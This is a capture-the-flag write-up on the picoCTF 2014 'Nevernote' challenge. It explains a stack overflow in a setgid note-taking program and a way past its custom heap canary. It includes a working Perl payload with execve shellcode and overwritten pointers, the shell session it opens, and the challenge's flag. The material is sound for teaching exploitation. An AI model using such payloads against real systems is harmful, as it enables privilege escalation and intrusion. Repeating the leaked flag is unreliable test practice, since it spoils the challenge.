PicoCTF – Nevernote

Hi guys 🙂

I am posting one more article about picoCTF 2014. Still in the binary exploitation category, I will try to explain how to solve a challenge called Nevernote.

Such as the previous challenges (ExecuteMe and BestShell) the binary has the flag setgid on, and is vulnerable to a buffer overflow attack which allows arbitrary code execution. ASLR (Address Space Layout Randomization) is still disabled and the stack is executable.

In order to pass the challenge, the file flag.txt, containing the flag, must be read.

pico4180@shell:/home/nevernote$ file nevernote
nevernote: setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=b134d35c46cfe2aa7aa25152f276e86b243bf3c1, not stripped

The program allows users to create and view basic text notes, by reading the standard input.

The commands are :

  • a : Allows the user to create a note
  • v : Allows the user to view a note
  • q : Close the program

pico4180@shell:/home/nevernote$ ./nevernote
Please enter your name: remi
Enter a command: help
Commands: [a]dd_note, [v]iew_notes, [q]uit
Enter a command: a
Write your note: Ceci est une note
Note added.
Enter a command: v

Ceci est une note

Enter a command: q
pico4180@shell:/home/nevernote$

The main difficulty here is to to succeed the buffer overflow exploitation even though a structure of type struct safe_buffer is used.

This structure contains a 512 bytes buffer buf and another structure of type struct canary which contains an integer canary as well as a pointer to an integer verify :

The way this structure works is quite simple, the function get_canary() allocates on the heap a 4 bytes integer (verify), and set its value to a pseudo-random value by reading the device /dev/urandom. This value is also copied on the stack, within the field canary :

The function verify_canary() has to be called right after the usage of a function that may modify the structure’s buffer. This function checks whether the integer canary is still equals to the integer stored on the heap, at the address contained in the verify pointer .

Therefore, any buffer overflow exploitation between the function get_canary() and verify_canary() should fail since the function __canary_failure(), will be called if these 2 integers are not equals anymore:

In order to bypass this protection, a solution is to rewrite the pointer verify, to make it point on the stack, where the integer canary is stored. But …, the function verify_canary() is releasing the allocated integer by calling free() right before returning. Thus, if the pointer does not have a valid address (i.e an address returned by a previous malloc()), then the glibc will detect an error and will raise a SIGABRT signal by calling the abort() function. The error will be something like :

*** glibc detected *** ./never_note : free(): invalid pointer: 0xDEADBEEF

Now, let’s take a look to get_note(), the vulnerable function, and let’s try to see how we could still sucess the exploitation:

The vulnerability is located at ligne 11, when the fgets() function is called. As we saw previously, the size of the buffer of the structure struct safe_buffer is 512 bytes. The second argument tells fgets() to read up to 1024 on the standard input, and to store it within the 512 bytes buffer. It is so possible to perform a 512 bytes buffer overflow, that’s largely enough to override the saved instruction pointer.

First, let’s take a look at the memory process layout at the end of the get_note() procedure. Let’s say the pseudo-random value read on /dev/random is 0x42424242 and the note typed by the user is “Ceci est une note“:

At the top of the stack (lower address), there is the structure struct safe_buffer, composed of the 512 bytes buffer buf, the integer pointer verify and the integer canary. Right after the call to get_canary(), the integer pointer verify stores the address 0x0804c458 (returned by malloc()) where is stored the value 0x42424242. This value is as well copied within the canary integer. After the fgets() call, the buffer buf contains the string “Ceci est une note“.

Just below this structure there is the saved stack base pointer (SAVED_EBP) as well as the saved instruction pointer (SAVED_EIP). As you might know, the saved stack base pointer is pushed on the stack by the prologue of the get_note() procedure (push ebp, move ebp, esp). The saved instruction pointer is push on the stack by the call instruction.

Then, there is the dest pointer, only argument of this function (it’s a copy of the new_note pointer from the add_notes() function; remember that when a function is called, its argument are copied on the stack). This pointer contains the address 0x0804c050, where is dynamically allocated a 1024 bytes buffer. It’s in this buffer that the note seized by the user will be copied from the temporary buffer.

Finally, there are the previous procedures stack frames (add_notes(),command_loop() and main()) as well as the process’ heap.

As we saw previously, to bypass the canary check, the verify pointer has to be overridden and must points to an integer which must be equals to the canary integer. We saw as well that this address must be dynamically allocated so that free() does not raise a SIGABRT signal. The dest pointer, only argument of get_note() is dynamically allocated. It’s exactly what we need 😉

Thus, to succeed the exploitation, the verify pointer has to be overridden in order to point to same memory area as the dest pointer.

Now let’s build the payload :

The buffer buf of struct safe_buffer will contain a 23 bytes shellcode for spawning a shell through an execve() syscall. It will be then filled up with 489 (junk) padding bytes (489 + 23 = 512).

The verify pointer of struct safe_buffer will be overridden and will points to 0x0804c050 (address stored in the pointers dest and new_note) where the shellcode will be copied by the strncpy() call.

The canary integer of struct safe_buffer will be overridden with the 4 first bytes of the shellcode (0x31c05068). Since the verify pointer will be pointing on the first bytes of the shellcode, the assumption canary == *verify will be true.

Then, 12 random (junk) padding bytes will be added to fill the gap between the canary integer and the saved stack base pointer (SAVED_EBP). This memory area is used by the procedure get_note() to set up the stack for the different function calls. The saved stack base pointer from the previous procedure (SAVE_EBP) will also be overridden with 4 junk bytes.

The saved instruction pointer (SAVED_EIP) will be overridden with the address of buf from struct safe_buffer (0xffffd424). Therefore, our shellcode located in this buffer will be executed when get_note() will returned, with the ret instruction.

Finally, since the strncpy() function call appends a NULL byte at the end of the destination buffer, the new_note pointer must be rewritten, without changing its initial value, but for avoiding its address being 0x0804c000 rather than 0x0804c050 (remember that free() needs a valid address).

pico4180@shell:/home/nevernote$
(echo "Remi";
echo "add_note";
perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
. "A"x489
. "\x50\xc0\x04\x08"
. "\x31\xc0\x50\x68"
. "B"x12
. "A"x4
. "\x24\xd4\xff\xff"
. "\x50\xc0\x04\x08"
. "\x00"' ;
cat) |./nevernote
Please enter your name: Enter a command: Write your note:
cat flag.txt
the_hairy_canary_fairy_is_still_very_wary
exit
pico4180@shell:/home/nevernote$

And this is our flag: the_hairy_canary_fairy_is_still_very_wary 🙂

Hopefully you enjoyed this write-up, if you want the source code of this challenge, it can be downloaded here

remi

Security Engineer / Malware Analyst, interested in reverse engineering, vulnerability exploitation, OS architecture & software developpement.

Leave a Reply

Your email address will not be published. Required fields are marked *